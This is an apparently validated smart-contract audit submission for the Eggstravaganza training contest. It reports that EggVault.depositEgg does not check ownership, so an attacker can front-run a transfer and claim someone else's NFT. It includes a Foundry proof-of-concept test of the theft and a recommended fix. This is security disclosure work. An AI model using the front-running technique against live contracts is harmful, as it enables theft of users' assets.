Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Stealing eggs during vault transfer

xgrybto

Summary

An attacker can steal eggs by frontrunning the call to depositEgg function when a NFT is transfered to the vault. The NFT owner nor the transferer is verified when calling this deposit function.

Vulnerability Details

The key of this issue is to frontrun the call of the function depositEgg from the EggVault contract. This operation is possible because there is no verification of ownership or transfer authorization on the egg before deposit it to the vault. We only verify if the egg has been transfered to the vault, and if the egg is already stored :

function depositEgg(uint256 tokenId, address depositor) public {
require(
eggNFT.ownerOf(tokenId) == address(this),
"NFT not transferred to vault"
);
require(!storedEggs[tokenId], "Egg already deposited");
...
}

An attacker may observe when an egg (NFT) is transfered to the vault by listening transactions, or by checking the counter of eggs in the vault.

In this way, he can deposit the egg before the normal process, by specifying the tokenId and his address in the function parameters.

The egg deposited will be his own when he will withdraw the egg of the vault.

Here is a POC of the scenario :

function testStealEggWhenDepositToVault() public {
// Alice wins an egg
vm.prank(address(game));
nft.mintEgg(alice, 99);
console.log(
"Number of eggs on the vault before Alice transfer",
nft.balanceOf(address(vault))
);
// Alice transfers her NFT to the vault
vm.prank(alice);
nft.transferFrom(alice, address(vault), 99);
// Bob sees the NFT on the balance of the vault
console.log(
"Number of eggs on the vault after Alice transfer",
nft.balanceOf(address(vault))
);
// Bob deposits the NFT of Alice to the vault
vm.prank(bob);
vault.depositEgg(99, bob);
// Egg deposited
assertTrue(vault.isEggDeposited(99));
// Egg owned by Bob
assertEq(vault.eggDepositors(99), bob);
// Alice tries to deposit her egg
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(99, alice);
// Alice tries to withdraw
vm.prank(alice);
vm.expectRevert("Not the original depositor");
vault.withdrawEgg(99);
//Bob withdraw the egg
vm.prank(bob);
vault.withdrawEgg(99);
assertFalse(vault.isEggDeposited(10));
}

Impact

The impact is critic because all NFTs transfered to the vault for a deposit could be stolen.

Tools Used

Manual review + forge test

Recommendations

The main objective is to protect the call of the depositEgg function by verify the permissions on the NFTs. We could do that by adding a requirement :

require(
eggNFT.getApproved(tokenId) == msg.sender ||
eggNFT.ownerOf(tokenId) == msg.sender
);

In doing so, we verify that the caller is indeed the owner of the NFT, or the user/contract approved by the owner to manage the repository, as the EggHuntGame contract does in the classic Eggstravaganza game operation.

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.